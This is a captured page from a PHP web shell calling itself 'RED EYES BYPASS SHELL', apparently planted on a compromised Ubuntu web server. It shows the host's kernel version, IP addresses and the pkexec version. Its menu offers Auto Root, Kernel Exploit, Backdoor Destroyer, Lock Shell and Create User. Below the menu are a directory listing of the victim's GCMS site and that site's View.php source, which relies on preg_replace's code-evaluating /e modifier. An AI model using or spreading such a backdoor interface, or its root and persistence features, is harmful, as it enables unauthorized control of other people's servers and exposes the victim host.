Linux sothorn202 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Gcms /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Api.php
2.52
KB
-rwxr-xr-x
Category.php
6.81
KB
-rwxr-xr-x
Config.php
8.44
KB
-rwxr-xr-x
Controller.php
5.07
KB
-rwxr-xr-x
Line.php
5.56
KB
-rwxr-xr-x
Login.php
13.95
KB
-rwxr-xr-x
Modules.php
3.03
KB
-rwxr-xr-x
Router.php
1.05
KB
-rwxr-xr-x
View.php
4.57
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : View.php
<?php /** * @filesource Gcms/View.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Gcms; use Kotchasan\Language; /** * View base class สำหรับ GCMS * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class View extends \Kotchasan\View { /** * ฟังก์ชั่น แทนที่ query string ด้วยข้อมูลจาก GET และ POST สำหรับส่งต่อไปยัง URL ถัดไป * โดยการรับค่าจาก preg_replace * คืนค่า URL * * @param array $f รับค่าจากตัวแปรที่ส่งมาจาก preg_replace มาสร้าง query string * * @return string */ public static function back($f) { $query_url = array(); foreach (self::$request->getQueryParams() as $key => $value) { if ($value != '' && !preg_match('/^(module|.*?username|.*?password)$/', $key) && (is_string($value) || is_int($value))) { $key = ltrim($key, '_'); $query_url[$key] = $value; } } foreach (self::$request->getParsedBody() as $key => $value) { if ($value != '' && !preg_match('/^(module|.*?username|.*?password)$/', $key) && (is_string($value) || is_int($value))) { $key = ltrim($key, '_'); $query_url[$key] = $value; } } if (isset($f[2])) { foreach (explode('&', $f[2]) as $item) { if (preg_match('/^([a-zA-Z0-9_\-]+)=([^$]{1,})$/', $item, $match)) { if ($match[2] === '0') { unset($query_url[$match[1]]); } else { $query_url[$match[1]] = $match[2]; } } } } return WEB_URL.'index.php?'.http_build_query($query_url, '', '&'); } /** * คืนค่าข้อความ $text ถ้าไม่มี คืนค่า $replace * * @param string $text * @param int $repeat จำนวนทำซ้ำ $replace * @param string $replace ข้อความแทนที่ถ้าว่างเปล่า หรือ null ค่าเริ่มต้น * @param string $prefix ข้อความเติมด้านหน้า ถ้า $text ไม่ว่าง * * @return string */ public static function toText($text, $repeat = 1, $replace = ' ', $prefix = '') { return $text === '' || $text === null ? str_repeat($replace, $repeat) : $prefix.$text; } /** * ouput เป็น HTML * * @param string|null $template HTML Template ถ้าไม่กำหนด (null) จะใช้ index.html * * @return string */ public function renderHTML($template = null) { // เนื้อหา parent::setContents(array( // url สำหรับกลับไปหน้าก่อนหน้า '/{BACKURL(\?([a-zA-Z0-9=&\-_@\.]+))?}/e' => '\Gcms\View::back', /* ภาษา */ '/{LNG_([^}]+)}/e' => '\Kotchasan\Language::parse(array(1=>"$1"))', /* ภาษา ที่ใช้งานอยู่ */ '/{LANGUAGE}/' => Language::name() )); return parent::renderHTML($template); } /** * คืนค่าลิงค์รูปแบบโทรศัพท์ * * @param string $phone_number * * @return string */ public static function showPhone($phone_number) { if ($phone_number === null) { return ''; } $result = array(); foreach (explode(',', $phone_number) as $phone) { $result[] = '<a href="tel:'.$phone.'">'.$phone.'</a>'; } return empty($result) ? '' : implode(', ', $result); } /** * คืนค่า label สถานะ + สี * * @param array $statuses * @param mixed $value * @param bool $color true (default) คืนค่าสถานะพร้อมสี, false คืนค่าสถานะ text * * @return string */ public static function showStatus($statuses, $value, $color = true) { if (isset($statuses[$value])) { return $color ? '<span class="term'.$value.'">'.$statuses[$value].'</span>' : $statuses[$value]; } return ''; } }
Close